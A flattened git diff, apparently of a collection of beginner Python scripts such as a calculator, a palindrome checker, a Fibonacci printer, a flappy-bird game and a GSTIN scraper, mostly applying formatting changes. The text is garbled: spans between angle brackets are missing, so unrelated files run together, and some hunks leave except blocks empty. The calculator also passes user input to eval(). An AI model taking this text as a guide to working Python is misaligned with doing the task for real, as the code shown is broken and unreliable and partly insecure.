try: if self.opr == "+": self.value1 = int(self.value1) diff --git a/calculator.py b/calculator.py index b0ef5dca8dd..ff456112afa 100644 --- a/calculator.py +++ b/calculator.py @@ -2,7 +2,7 @@ Written by : Shreyas Daniel - github.com/shreydan Description : Uses Pythons eval() function as a way to implement calculator. - + Functions available are: -------------------------------------------- + : addition @@ -11,7 +11,7 @@ / : division % : percentage e : 2.718281... - pi : 3.141592... + pi : 3.141592... sine : sin(rad) cosine : cos(rad) exponent: x^y @@ -70,21 +70,17 @@ def calc(term): term = term.replace(func, withmath) try: - # here goes the actual evaluating. term = eval(term) # here goes to the error cases. except ZeroDivisionError: - print("Can't divide by 0. Please try again.") except NameError: - print("Invalid input. Please try again") except AttributeError: - print("Please check usage method and try again.") except TypeError: print("please enter inputs of correct datatype ") diff --git a/cartesian_product.py b/cartesian_product.py index ba11eb7d54f..d4e2c73f3f1 100644 --- a/cartesian_product.py +++ b/cartesian_product.py @@ -8,11 +8,11 @@ def cartesian_product(list1, list2): """Cartesian Product of Two Lists.""" for _i in list1: for _j in list2: - print((_i, _j), end=' ') + print((_i, _j), end=" ") # Main -if __name__ == '__main__': +if __name__ == "__main__": list1 = input().split() list2 = input().split() @@ -21,4 +21,3 @@ def cartesian_product(list1, list2): list2 = [int(i) for i in list2] cartesian_product(list1, list2) - diff --git a/check whether the string is Symmetrical or Palindrome.py b/check whether the string is Symmetrical or Palindrome.py index 0b12df47a9e..24614f5d9b2 100644 --- a/check whether the string is Symmetrical or Palindrome.py +++ b/check whether the string is Symmetrical or Palindrome.py @@ -1,53 +1,50 @@ -def palindrome(a): - - mid = (len(a)-1)//2 +def palindrome(a): + mid = (len(a) - 1) // 2 start = 0 - last = len(a)-1 + last = len(a) - 1 flag = 0 - - while(start end or user_input < start: - # error case print("Please try again. Not in valid bounds.") else: - # valid case loop = False # aborts while-loop except ValueError: - # error case print("Please try again. Only numbers") diff --git a/chicks_n_rabs.py b/chicks_n_rabs.py index fa82f161d1c..c0114a08060 100644 --- a/chicks_n_rabs.py +++ b/chicks_n_rabs.py @@ -2,7 +2,7 @@ Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) Module to solve a classic ancient Chinese puzzle: -We count 35 heads and 94 legs among the chickens and rabbits in a farm. +We count 35 heads and 94 legs among the chickens and rabbits in a farm. How many rabbits and how many chickens do we have? """ diff --git a/cli_master/cli_master.py b/cli_master/cli_master.py index 24a7457428c..df2ecf799d1 100644 --- a/cli_master/cli_master.py +++ b/cli_master/cli_master.py @@ -83,12 +83,12 @@ def login_password(answer, current): # Add your password validation logic here return True + # Have an option to go back. # How can I do it? if answers is not None and answers.get("authentication") == "Login": questions = [ - inquirer. - Text( + inquirer.Text( "surname", message="What's your last name (surname)?", validate=Validation.lname_validation, @@ -161,4 +161,4 @@ def login_password(answer, current): print("Exit") sys.exit() -pprint(answers) \ No newline at end of file +pprint(answers) diff --git a/cli_master/validation_page.py b/cli_master/validation_page.py index 8852781d4b7..a9f1c2bcffc 100644 --- a/cli_master/validation_page.py +++ b/cli_master/validation_page.py @@ -1,10 +1,12 @@ import re + def phone_validation(phone_number): # Match a typical US phone number format (xxx) xxx-xxxx - pattern = re.compile(r'^\(\d{3}\) \d{3}-\d{4}$') + pattern = re.compile(r"^\(\d{3}\) \d{3}-\d{4}$") return bool(pattern.match(phone_number)) + # Example usage: phone_number_input = input("Enter phone number: ") if phone_validation(phone_number_input): @@ -12,11 +14,13 @@ def phone_validation(phone_number): else: print("Invalid phone number.") + def email_validation(email): # Basic email format validation - pattern = re.compile(r'^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$') + pattern = re.compile(r"^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") return bool(pattern.match(email)) + # Example usage: email_input = input("Enter email address: ") if email_validation(email_input): @@ -29,6 +33,7 @@ def password_validation(password): # Password must be at least 8 characters long and contain at least one digit return len(password) >= 8 and any(char.isdigit() for char in password) + # Example usage: password_input = input("Enter password: ") if password_validation(password_input): @@ -39,7 +44,8 @@ def password_validation(password): def username_validation(username): # Allow only alphanumeric characters and underscores - return bool(re.match('^[a-zA-Z0-9_]+$', username)) + return bool(re.match("^[a-zA-Z0-9_]+$", username)) + # Example usage: username_input = input("Enter username: ") @@ -51,7 +57,8 @@ def username_validation(username): def country_validation(country): # Example: Allow only alphabetical characters and spaces - return bool(re.match('^[a-zA-Z ]+$', country)) + return bool(re.match("^[a-zA-Z ]+$", country)) + # Example usage: country_input = input("Enter country name: ") @@ -59,4 +66,3 @@ def country_validation(country): print("Country name is valid.") else: print("Invalid country name.") - diff --git a/cloning_a_list.py b/cloning_a_list.py index ceaebef16e7..524225b734f 100644 --- a/cloning_a_list.py +++ b/cloning_a_list.py @@ -1,17 +1,11 @@ -# Python program to copy or clone a list -# Using the Slice Operator -def Cloning(li1): +# Python program to copy or clone a list +# Using the Slice Operator +def Cloning(li1): return li1[:] - -# Driver Code -li1 = [ - 4, - 8, - 2, - 10, - 15, - 18 -] -li2 = Cloning(li1) -print("Original List:", li1) -print("After Cloning:", li2) + + +# Driver Code +li1 = [4, 8, 2, 10, 15, 18] +li2 = Cloning(li1) +print("Original List:", li1) +print("After Cloning:", li2) diff --git a/colorma_as_color.py b/colorma_as_color.py index 4a9e49d1f14..345f2043697 100644 --- a/colorma_as_color.py +++ b/colorma_as_color.py @@ -1,5 +1,3 @@ - - from colorama import Fore, Back, Style print(Fore.RED + "some red text") @@ -18,4 +16,4 @@ print("back to normal now") -# …or, Colorama can be used in conjunction with existing ANSI libraries such as the venerable Termcolor the fabulous Blessings, or the incredible _Rich. \ No newline at end of file +# …or, Colorama can be used in conjunction with existing ANSI libraries such as the venerable Termcolor the fabulous Blessings, or the incredible _Rich. diff --git a/colour spiral.py b/colour spiral.py index 86385ada09d..70a96b94643 100644 --- a/colour spiral.py +++ b/colour spiral.py @@ -1,52 +1,50 @@ # import turtle import turtle - + # defining colors -colors = ['red', 'yellow', 'green', 'purple', 'blue', 'orange'] - +colors = ["red", "yellow", "green", "purple", "blue", "orange"] + # setup turtle pen -t= turtle.Pen() - +t = turtle.Pen() + # changes the speed of the turtle t.speed(10) - + # changes the background color turtle.bgcolor("black") - + # make spiral_web for x in range(200): + t.pencolor(colors[x % 6]) # setting color - t.pencolor(colors[x%6]) # setting color + t.width(x / 100 + 1) # setting width - t.width(x/100 + 1) # setting width + t.forward(x) # moving forward - t.forward(x) # moving forward + t.left(59) # moving left - t.left(59) # moving left - turtle.done() t.speed(10) - -turtle.bgcolor("black") # changes the background color - + +turtle.bgcolor("black") # changes the background color + # make spiral_web for x in range(200): + t.pencolor(colors[x % 6]) # setting color - t.pencolor(colors[x%6]) # setting color + t.width(x / 100 + 1) # setting width - t.width(x/100 + 1) # setting width + t.forward(x) # moving forward - t.forward(x) # moving forward + t.left(59) # moving left - t.left(59) # moving left - -turtle.done() \ No newline at end of file +turtle.done() diff --git a/compass_code.py b/compass_code.py index ec0ac377ba6..4b7bf7b1880 100644 --- a/compass_code.py +++ b/compass_code.py @@ -1,8 +1,9 @@ def degree_to_direction(deg): - directions = ["N", "NE", "E", "SE", "S", "SW", "W", "NW"] + directions = ["N", "NE", "E", "SE", "S", "SW", "W", "NW"] - deg = deg% 360 - deg = int(deg//45) - print(directions[deg]) + deg = deg % 360 + deg = int(deg // 45) + print(directions[deg]) -degree_to_direction(45) \ No newline at end of file + +degree_to_direction(45) diff --git a/convert celsius into fahrenheit.py b/convert celsius into fahrenheit.py index df58fcda9de..0f3bf8e9838 100644 --- a/convert celsius into fahrenheit.py +++ b/convert celsius into fahrenheit.py @@ -1,4 +1,4 @@ -cels= float(input("enter temp in celsius")) -print("temprature in celsius is :",cels) -fahr = cels*9/5+32 -print("temprature in fahrenhite is :",fahr) +cels = float(input("enter temp in celsius")) +print("temprature in celsius is :", cels) +fahr = cels * 9 / 5 + 32 +print("temprature in fahrenhite is :", fahr) diff --git a/convert_wind_direction_to_degrees.py b/convert_wind_direction_to_degrees.py index cbac637f332..a7a48988c12 100644 --- a/convert_wind_direction_to_degrees.py +++ b/convert_wind_direction_to_degrees.py @@ -3,6 +3,7 @@ def degrees_to_compass(degrees): index = round(degrees / 45) % 8 return directions[index] + # Taking input from the user while True: try: diff --git a/count the numbers of two vovels.py b/count the numbers of two vovels.py index 297e2488590..eb66d0967d6 100644 --- a/count the numbers of two vovels.py +++ b/count the numbers of two vovels.py @@ -1,19 +1,19 @@ # Program to count the number of each vowels # string of vowels -vowels = 'aeiou' +vowels = "aeiou" -ip_str = 'Hello, have you tried our tutorial section yet?' +ip_str = "Hello, have you tried our tutorial section yet?" # make it suitable for caseless comparisions ip_str = ip_str.casefold() # make a dictionary with each vowel a key and value 0 -count = {}.fromkeys(vowels,0) +count = {}.fromkeys(vowels, 0) # count the vowels for char in ip_str: - if char in count: - count[char] += 1 + if char in count: + count[char] += 1 print(count) diff --git a/create password validity in python.py b/create password validity in python.py index 46793e91061..c69a826e89e 100644 --- a/create password validity in python.py +++ b/create password validity in python.py @@ -1,24 +1,27 @@ import time -pwd=input("Enter your password: ") #any password u want to set + +pwd = input("Enter your password: ") # any password u want to set + def IInd_func(): - count1=0 - for j in range(5): - a=0 - count=0 - user_pwd = input("Enter remember password: ") #password you remember - for i in range(len(pwd)): - if user_pwd[i] == pwd[a]: #comparing remembered pwd with fixed pwd - a +=1 - count+=1 - if count==len(pwd): - print("correct pwd") - break - else: - count1 += 1 - print("not correct") - if count1==5: - time.sleep(30) - IInd_func() + count1 = 0 + for j in range(5): + a = 0 + count = 0 + user_pwd = input("Enter remember password: ") # password you remember + for i in range(len(pwd)): + if user_pwd[i] == pwd[a]: # comparing remembered pwd with fixed pwd + a += 1 + count += 1 + if count == len(pwd): + print("correct pwd") + break + else: + count1 += 1 + print("not correct") + if count1 == 5: + time.sleep(30) + IInd_func() + -IInd_func() \ No newline at end of file +IInd_func() diff --git a/daily_checks.py b/daily_checks.py index bdffb9dbd29..5a59ba9d3f3 100644 --- a/daily_checks.py +++ b/daily_checks.py @@ -12,6 +12,7 @@ Description : This simple script loads everything I need to carry out the daily checks for our systems. """ + import os import platform # Load Modules import subprocess @@ -55,11 +56,12 @@ def rdp_sessions(): def euroclear_docs(): # The command below opens IE and loads the Euroclear password document - subprocess.Popen([ - r"C:\Program Files\Internet Explorer\iexplore.exe", - r"file://fs1/pub_b/Pub_Admin/Documentation/Settlements_Files/PWD/Eclr.doc" - ]) - + subprocess.Popen( + [ + r"C:\Program Files\Internet Explorer\iexplore.exe", + r"file://fs1/pub_b/Pub_Admin/Documentation/Settlements_Files/PWD/Eclr.doc", + ] + ) # End of the functions diff --git a/date-timeserver.py b/date-timeserver.py index c0d114c02f4..5cacec71d1c 100644 --- a/date-timeserver.py +++ b/date-timeserver.py @@ -5,7 +5,6 @@ soc.bind((socket.gethostname(), 2905)) soc.listen(5) while True: - clientsocket, addr = soc.accept() print("estavlishes a connection from %s" % str(addr)) diff --git a/days_from_date.py b/days_from_date.py index 3a166679607..61f09cc81fe 100644 --- a/days_from_date.py +++ b/days_from_date.py @@ -15,9 +15,9 @@ def process_date(user_input): def find_day(date): - born = datetime.datetime.strptime( - date, "%d %m %Y" - ).weekday() # this statement returns an integer corresponding to the day of the week + born = ( + datetime.datetime.strptime(date, "%d %m %Y").weekday() + ) # this statement returns an integer corresponding to the day of the week return calendar.day_name[ born ] # this statement returns the corresponding day name to the integer generated in the previous statement diff --git a/decimal to binary.py b/decimal to binary.py index 566f83be43c..03619b074c2 100644 --- a/decimal to binary.py +++ b/decimal to binary.py @@ -3,7 +3,7 @@ def decimalToBinary(num): to binary and prints it""" if num > 1: decimalToBinary(num // 2) - print(num % 2, end='') + print(num % 2, end="") # decimal number diff --git a/dialogs/messagebox.py b/dialogs/messagebox.py index 14a88dc185d..2a57cb7d1b4 100644 --- a/dialogs/messagebox.py +++ b/dialogs/messagebox.py @@ -2,6 +2,4 @@ from quo.dialog import MessageBox -MessageBox( - title='Example dialog window', - text='Do you want to continue?') +MessageBox(title="Example dialog window", text="Do you want to continue?") diff --git a/digital_clock.py b/digital_clock.py index f461878917b..98b7e6fc00e 100644 --- a/digital_clock.py +++ b/digital_clock.py @@ -20,6 +20,7 @@ # master + # This function is used to # display time on the label def def_time(): @@ -50,7 +51,6 @@ def def_time(): # function to declare the tkniter clock def dig_clock(): - text_input = time.strftime("%H : %M : %S") # get the current local time from the PC label.config(text=text_input) diff --git a/divisors_of_a_number.py b/divisors_of_a_number.py index 326378b177f..55ffd18a753 100644 --- a/divisors_of_a_number.py +++ b/divisors_of_a_number.py @@ -1,20 +1,20 @@ a = 0 -while a<= 0 : +while a <= 0: number_to_divide = input("choose the number to divide -->") - try : + try: a = int(number_to_divide) - except ValueError : + except ValueError: a = 0 - if a <= 0 : - print('choose a number grether than 0') + if a <= 0: + print("choose a number grether than 0") list_number_divided = [] -for number in range(1,a + 1) : +for number in range(1, a + 1): b = a % number - if b == 0 : + if b == 0: list_number_divided.append(number) -print('\nthe number ' + number_to_divide + ' can be divided by:') -for item in list_number_divided : - print(f'{item}') -if len(list_number_divided) <= 2 : - print(number_to_divide + ' is a prime number') \ No newline at end of file +print("\nthe number " + number_to_divide + " can be divided by:") +for item in list_number_divided: + print(f"{item}") +if len(list_number_divided) <= 2: + print(number_to_divide + " is a prime number") diff --git a/encryptsys.py b/encryptsys.py index 40e5ec6f37a..646288ca874 100644 --- a/encryptsys.py +++ b/encryptsys.py @@ -37,7 +37,6 @@ def decrypt(): def encrypt(): - texto = input("Input the text to encrypt : ") abecedario = string.printable + "áéíóúÁÉÍÚÓàèìòùÀÈÌÒÙäëïöüÄËÏÖÜñÑ´" abecedario2 = [] @@ -74,7 +73,6 @@ def encrypt(): print(r"\Encrypted text : " + fintext) - sel = input("What would you want to do?\n\n[1] Encrypt\n[2] Decrypt\n\n> ").lower() if sel in ["1", "encrypt"]: diff --git a/equations.py b/equations.py index 1fc4b9159d7..464f1d58b67 100644 --- a/equations.py +++ b/equations.py @@ -25,7 +25,7 @@ b = int(input("What is value of b?")) c = int(input("What is value of c?")) - D = b ** 2 - 4 * a * c + D = b**2 - 4 * a * c if D < 0: print("No real values of x satisfies your equation.") diff --git a/fastapi.py b/fastapi.py index 37aa3aa3ce0..8689d7c5b65 100644 --- a/fastapi.py +++ b/fastapi.py @@ -7,6 +7,7 @@ # temp database fakedb = [] + # course model to store courses class Course(BaseModel): id: int diff --git a/fibonici series.py b/fibonici series.py index 17e24228f94..85483ee8ab7 100644 --- a/fibonici series.py +++ b/fibonici series.py @@ -6,16 +6,16 @@ # check if the number of terms is valid if nterms <= 0: - print("Please enter a positive integer") + print("Please enter a positive integer") elif nterms == 1: - print("Fibonacci sequence upto",nterms,":") - print(n1) + print("Fibonacci sequence upto", nterms, ":") + print(n1) else: - print("Fibonacci sequence:") - while count < nterms: - print(n1) - nth = n1 + n2 - # update values - n1 = n2 - n2 = nth - count += 1 + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/file_ext_changer.py b/file_ext_changer.py index 4d80261b052..407e46f991c 100644 --- a/file_ext_changer.py +++ b/file_ext_changer.py @@ -1,4 +1,5 @@ -'''' Multiple extension changer''' +"""' Multiple extension changer""" + import time from pathlib import Path as p import random as rand @@ -8,7 +9,7 @@ def chxten_(files, xten): chfile = [] for file in files: - ch_file = file.split('.') + ch_file = file.split(".") ch_file = ch_file[0] chfile.append(ch_file) if len(xten) == len(chfile): @@ -22,7 +23,7 @@ def chxten_(files, xten): ch_xten = chfile[i] + xten[i] chxten.append(ch_xten) for i in range(1, (len(chfile) + 1) - len(xten)): - ch_xten = chfile[- + i] + xten[-1] + ch_xten = chfile[-+i] + xten[-1] chxten.append(ch_xten) elif len(xten) == 1: chxten = [] @@ -40,61 +41,64 @@ def chxten_(files, xten): ch_xten = chfile[i] + xten[i] chxten.append(ch_xten) else: - return 'an error occured' + return "an error occured" return chxten # End of function definitions # Beggining of execution of code -#password -password = input('Enter password:') +# password +password = input("Enter password:") password = password.encode() password = hashlib.sha512(password).hexdigest() -if password == 'c99d3d8f321ff63c2f4aaec6f96f8df740efa2dc5f98fccdbbb503627fd69a9084073574ee4df2b888f9fe2ed90e29002c318be476bb62dabf8386a607db06c4': +if ( + password + == "c99d3d8f321ff63c2f4aaec6f96f8df740efa2dc5f98fccdbbb503627fd69a9084073574ee4df2b888f9fe2ed90e29002c318be476bb62dabf8386a607db06c4" +): pass else: - print('wrong password!') + print("wrong password!") time.sleep(0.3) exit(404) -files = input('Enter file names and thier extensions (seperated by commas):') -xten = input('Enter Xtensions to change with (seperated by commas):') +files = input("Enter file names and thier extensions (seperated by commas):") +xten = input("Enter Xtensions to change with (seperated by commas):") -if files == '*': +if files == "*": pw = p.cwd() - files = '' + files = "" for i in pw.iterdir(): if not p.is_dir(i): i = str(i) - if not i.endswith('.py'): + if not i.endswith(".py"): # if not i.endswith('exe'): - if not i.endswith('.log'): - files = files + i + ',' -if files == 'r': + if not i.endswith(".log"): + files = files + i + "," +if files == "r": pw = p.cwd() - files = '' + files = "" filer = [] for i in pw.iterdir(): if p.is_file(i): i = str(i) - if not i.endswith('.py'): - if not i.endswith('.exe'): - if not i.endswith('.log'): + if not i.endswith(".py"): + if not i.endswith(".exe"): + if not i.endswith(".log"): filer.append(i) for i in range(5): - pos = rand.randint(0,len(filer)) - files = files + filer[pos] + ',' + pos = rand.randint(0, len(filer)) + files = files + filer[pos] + "," print(files) -files = files.split(',') -xten = xten.split(',') +files = files.split(",") +xten = xten.split(",") # Validation for file in files: check = p(file).exists() if check == False: - print(f'{file} is not found. Paste this file in the directory of {file}') + print(f"{file} is not found. Paste this file in the directory of {file}") files.remove(file) # Ended validation @@ -102,8 +106,8 @@ def chxten_(files, xten): chxten = chxten_(files, xten) # Error Handlings -if chxten == 'an error occured': - print('Check your inputs correctly') +if chxten == "an error occured": + print("Check your inputs correctly") time.sleep(1) exit(404) else: @@ -111,7 +115,7 @@ def chxten_(files, xten): for i in range(len(files)): f = p(files[i]) f.rename(chxten[i]) - print('All files has been changed') + print("All files has been changed") except PermissionError: pass except FileNotFoundError: @@ -119,7 +123,9 @@ def chxten_(files, xten): for file in files: check = p(file).exists() if check == False: - print(f'{file} is not found. Paste this file in the directory of {file}') + print( + f"{file} is not found. Paste this file in the directory of {file}" + ) files.remove(file) # except Exception: # print('An Error Has Occured in exception') diff --git a/find_cube_root.py b/find_cube_root.py index 667f7fa0f2d..9e0a9c192d4 100644 --- a/find_cube_root.py +++ b/find_cube_root.py @@ -7,9 +7,9 @@ def cubeRoot(): x = int(input("Enter an integer: ")) for ans in range(0, abs(x) + 1): - if ans ** 3 == abs(x): + if ans**3 == abs(x): break - if ans ** 3 != abs(x): + if ans**3 != abs(x): print(x, "is not a perfect cube!") else: if x < 0: diff --git a/find_prime.py b/find_prime.py index d6d5a515bd2..2fd050abeda 100644 --- a/find_prime.py +++ b/find_prime.py @@ -9,21 +9,22 @@ -Sieve of Eratosthenes(source:wikipedia.com) In mathematics, the sieve of Eratosthenes is a simple, ancient algorithm for finding all prime numbers up to any given limit. - It does so by iteratively marking as composite (i.e., not prime) the multiples of each prime, starting with the first prime - number, 2. The multiples of a given prime are generated as a sequence of numbers starting from that prime, with constant - difference between them that is equal to that prime. This is the sieve's key distinction from using trial division to + It does so by iteratively marking as composite (i.e., not prime) the multiples of each prime, starting with the first prime + number, 2. The multiples of a given prime are generated as a sequence of numbers starting from that prime, with constant + difference between them that is equal to that prime. This is the sieve's key distinction from using trial division to sequentially test each candidate number for divisibility by each prime. To find all the prime numbers less than or equal to a given integer n by Eratosthenes' method: - Create a list of consecutive integers from 2 through n: (2, 3, 4, ..., n). - Initially, let p equal 2, the smallest prime number. - - Enumerate the multiples of p by counting to n from 2p in increments of p, and mark them in the list (these will be 2p, + - Enumerate the multiples of p by counting to n from 2p in increments of p, and mark them in the list (these will be 2p, 3p, 4p, ...; the p itself should not be marked). - - Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, let + - Find the first number greater than p in the list that is not marked. If there was no such number, stop. Otherwise, let p now equal this new number (which is the next prime), and repeat from step 3. - When the algorithm terminates, the numbers remaining not marked in the list are all the primes below n. """ + import sys diff --git a/finding LCM.py b/finding LCM.py index e95feb45b47..dfd1b57e81e 100644 --- a/finding LCM.py +++ b/finding LCM.py @@ -1,21 +1,21 @@ - # Python Program to find the L.C.M. of two input number + def compute_lcm(x, y): + # choose the greater number + if x > y: + greater = x + else: + greater = y - # choose the greater number - if x > y: - greater = x - else: - greater = y + while True: + if (greater % x == 0) and (greater % y == 0): + lcm = greater + break + greater += 1 - while(True): - if((greater % x == 0) and (greater % y == 0)): - lcm = greater - break - greater += 1 + return lcm - return lcm num1 = 54 num2 = 24 diff --git a/flappyBird_pygame/flappy_bird.py b/flappyBird_pygame/flappy_bird.py index 34b3206b7e2..cc573b778fe 100644 --- a/flappyBird_pygame/flappy_bird.py +++ b/flappyBird_pygame/flappy_bird.py @@ -6,7 +6,6 @@ @author: Mehul """ - import math import os from collections import deque @@ -22,7 +21,6 @@ class Bird(pygame.sprite.Sprite): - WIDTH = 32 # bird image width HEIGHT = 32 # bird image height DOWN_SPEED = 0.18 # pix per ms -y @@ -30,7 +28,6 @@ class Bird(pygame.sprite.Sprite): UP_DURATION = 150 # time for which bird go up def __init__(self, x, y, ms_to_up, images): - super(Bird, self).__init__() self.x, self.y = x, y self.ms_to_up = ms_to_up @@ -39,7 +36,6 @@ def __init__(self, x, y, ms_to_up, images): self._mask_wingdown = pygame.mask.from_surface(self._img_wingdown) def update(self, delta_frames=1): - if self.ms_to_up > 0: frac_climb_done = 1 - self.ms_to_up / Bird.UP_DURATION self.y -= ( @@ -74,13 +70,11 @@ def rect(self): class PipePair(pygame.sprite.Sprite): - WIDTH = 80 # width of pipe PIECE_HEIGHT = 32 ADD_INTERVAL = 3000 def __init__(self, pipe_end_img, pipe_body_img): - self.x = float(W_WIDTH - 1) self.score_counted = False @@ -126,7 +120,6 @@ def top_height_px(self): @property def bottom_height_px(self): - return self.bottom_pieces * PipePair.PIECE_HEIGHT @property @@ -140,17 +133,14 @@ def rect(self): return Rect(self.x, 0, PipePair.WIDTH, PipePair.PIECE_HEIGHT) def update(self, delta_frames=1): - self.x -= ANI_SPEED * frames_to_msec(delta_frames) def collides_with(self, bird): - return pygame.sprite.collide_mask(self, bird) def load_images(): def load_image(img_file_name): - file_name = os.path.join(".", "images", img_file_name) img = pygame.image.load(file_name) img.convert() @@ -168,12 +158,10 @@ def load_image(img_file_name): def frames_to_msec(frames, fps=FPS): - return 1000.0 * frames / fps def msec_to_frames(milliseconds, fps=FPS): - return fps * milliseconds / 1000.0 @@ -185,7 +173,6 @@ def gameover(display, score): def main(): - pygame.init() display_surface = pygame.display.set_mode((W_WIDTH, W_HEIGHT)) diff --git a/folder_size.py b/folder_size.py index 7410de8da36..d0ad968e12d 100755 --- a/folder_size.py +++ b/folder_size.py @@ -25,7 +25,7 @@ "Megabytes": float(1) / (1024 * 1024), "Gigabytes": float(1) / (1024 * 1024 * 1024), } -for (path, dirs, files) in os.walk( +for path, dirs, files in os.walk( directory ): # Walk through all the directories. For each iteration, os.walk returns the folders, subfolders and files in the dir. for file in files: # Get all the files diff --git a/four_digit_num_combination.py b/four_digit_num_combination.py index 320544dc451..dce43559fb3 100644 --- a/four_digit_num_combination.py +++ b/four_digit_num_combination.py @@ -1,4 +1,4 @@ -""" small script to learn how to print out all 4-digit num""" +"""small script to learn how to print out all 4-digit num""" # ALL the combinations of 4 digit combo diff --git a/ftp_send_receive.py b/ftp_send_receive.py index 691e0e8e899..6495fe44613 100644 --- a/ftp_send_receive.py +++ b/ftp_send_receive.py @@ -1,11 +1,11 @@ """ - File transfer protocol used to send and receive files using FTP server. - Use credentials to provide access to the FTP client +File transfer protocol used to send and receive files using FTP server. +Use credentials to provide access to the FTP client - Note: Do not use root username & password for security reasons - Create a seperate user and provide access to a home directory of the user - Use login id and password of the user created - cwd here stands for current working directory +Note: Do not use root username & password for security reasons + Create a seperate user and provide access to a home directory of the user + Use login id and password of the user created + cwd here stands for current working directory """ from ftplib import FTP diff --git a/game_of_life/05_mixed_sorting.py b/game_of_life/05_mixed_sorting.py index ef0dced3325..86caf1eaaea 100644 --- a/game_of_life/05_mixed_sorting.py +++ b/game_of_life/05_mixed_sorting.py @@ -15,8 +15,8 @@ [4, 13, 11, 8, -5, 90] Explanation -The even numbers are sorted in increasing order, the odd numbers are sorted in -decreasing number, and the relative positions were +The even numbers are sorted in increasing order, the odd numbers are sorted in +decreasing number, and the relative positions were [even, odd, odd, even, odd, even] and remain the same after sorting. """ diff --git a/game_of_life/game_o_life.py b/game_of_life/game_o_life.py index 7d2ee832dcf..045c3715b51 100644 --- a/game_of_life/game_o_life.py +++ b/game_of_life/game_o_life.py @@ -1,4 +1,4 @@ -"""Conway's Game Of Life, Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) +"""Conway's Game Of Life, Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) Requirements: - numpy @@ -13,7 +13,7 @@ - $python3 game_o_life Game-Of-Life Rules: - + 1. Any live cell with fewer than two live neighbours dies, as if caused by under-population. @@ -26,7 +26,8 @@ 4. Any dead cell with exactly three live neighbours be- comes a live cell, as if by reproduction. - """ +""" + import random import sys diff --git a/gcd.py b/gcd.py index b496dca1d20..11a5ce189fd 100644 --- a/gcd.py +++ b/gcd.py @@ -2,11 +2,12 @@ although there is function to find gcd in python but this is the code which takes two inputs and prints gcd of the two. """ + a = int(input("Enter number 1 (a): ")) b = int(input("Enter number 2 (b): ")) i = 1 -gcd=-1 +gcd = -1 while i <= a and i <= b: if a % i == 0 and b % i == 0: gcd = i diff --git a/generate_permutations.py b/generate_permutations.py index 4623e08d2c3..26d473d1d32 100644 --- a/generate_permutations.py +++ b/generate_permutations.py @@ -1,16 +1,17 @@ -def generate(A,k): - if k ==1: +def generate(A, k): + if k == 1: print(A) return else: for i in range(k): - generate(A,k-1) - if(i80): + sentence = sentence + line.text + ratio = fuzz.token_set_ratio(sentence, checkString) + if ratio > 80: singleLink.append(k) singleRatio.append(ratio) - if(len(singleLink)>=4): - singleLink=np.array(singleLink) - singleRatio=np.array(singleRatio) - inds=singleRatio.argsort() - sortedLink=singleLink[inds] - sortedFinalList=list(sortedLink[::-1]) - sortedFinalList=sortedFinalList[:4] - FinalResult.append(singleWrite+sortedFinalList) - elif(len(singleLink)<4) and len(singleLink)>0: + if len(singleLink) >= 4: + singleLink = np.array(singleLink) + singleRatio = np.array(singleRatio) + inds = singleRatio.argsort() + sortedLink = singleLink[inds] + sortedFinalList = list(sortedLink[::-1]) + sortedFinalList = sortedFinalList[:4] + FinalResult.append(singleWrite + sortedFinalList) + elif (len(singleLink) < 4) and len(singleLink) > 0: singleLink = np.array(singleLink) singleRatio = np.array(singleRatio) inds = singleRatio.argsort() sortedLink = singleLink[inds] sortedFinalList = list(sortedLink[::-1]) - sortedFinalList=sortedFinalList+(4-len(sortedFinalList))*[[" "]] + sortedFinalList = sortedFinalList + (4 - len(sortedFinalList)) * [[" "]] FinalResult.append(singleWrite + sortedFinalList) else: - sortedFinalList=[[" "]]*4 - FinalResult.append(singleWrite+sortedFinalList) + sortedFinalList = [[" "]] * 4 + FinalResult.append(singleWrite + sortedFinalList) SearchResults() -FinalResult=np.array(FinalResult) -FinalResult=pd.DataFrame(FinalResult) -FinalResult.columns=["Input","Link A","Link B","Link C","Link D"] -FinalResult.replace(" ",np.nan) -FinalResult.to_csv("Susma.csv",index=False) +FinalResult = np.array(FinalResult) +FinalResult = pd.DataFrame(FinalResult) +FinalResult.columns = ["Input", "Link A", "Link B", "Link C", "Link D"] +FinalResult.replace(" ", np.nan) +FinalResult.to_csv("Susma.csv", index=False) print(FinalResult) diff --git a/greaterno.py b/greaterno.py index a4fb15c1231..d636d48e307 100644 --- a/greaterno.py +++ b/greaterno.py @@ -7,15 +7,15 @@ num3 = 12 # uncomment following lines to take three numbers from user -#num1 = float(input("Enter first number: ")) -#num2 = float(input("Enter second number: ")) -#num3 = float(input("Enter third number: ")) +# num1 = float(input("Enter first number: ")) +# num2 = float(input("Enter second number: ")) +# num3 = float(input("Enter third number: ")) if (num1 >= num2) and (num1 >= num3): - largest = num1 + largest = num1 elif (num2 >= num1) and (num2 >= num3): - largest = num2 + largest = num2 else: - largest = num3 + largest = num3 print("The largest number is", largest) diff --git a/greattwono.py b/greattwono.py index 60cf8dcee2d..6110c0d67de 100644 --- a/greattwono.py +++ b/greattwono.py @@ -1,7 +1,7 @@ # Python Program to find the largest of two numbers using an arithmetic operator a = int(input("Enter the first number: ")) b = int(input("Enter the second number: ")) -if(a - b > 0): - print(a, "is greater") +if a - b > 0: + print(a, "is greater") else: - print(b, "is greater") + print(b, "is greater") diff --git a/gstin_scraper.py b/gstin_scraper.py index 4f55ca6de30..a043480331e 100644 --- a/gstin_scraper.py +++ b/gstin_scraper.py @@ -17,28 +17,39 @@ """ -# Using a demo list in case of testing the script. +# Using a demo list in case of testing the script. # This list will be used in case user skips "company input" dialogue by pressing enter. -demo_companies = ["Bank of Baroda", "Trident Limited", "Reliance Limited", "The Yummy Treat", "Yes Bank", "Mumbai Mineral Trading Corporation"] +demo_companies = [ + "Bank of Baroda", + "Trident Limited", + "Reliance Limited", + "The Yummy Treat", + "Yes Bank", + "Mumbai Mineral Trading Corporation", +] + def get_company_list(): company_list = [] - + while True: company = input("Enter a company name (or press Enter to finish): ") if not company: break company_list.append(company) - + return company_list + def fetch_gstins(company_name, csrf_token): - third_party_gstin_site = 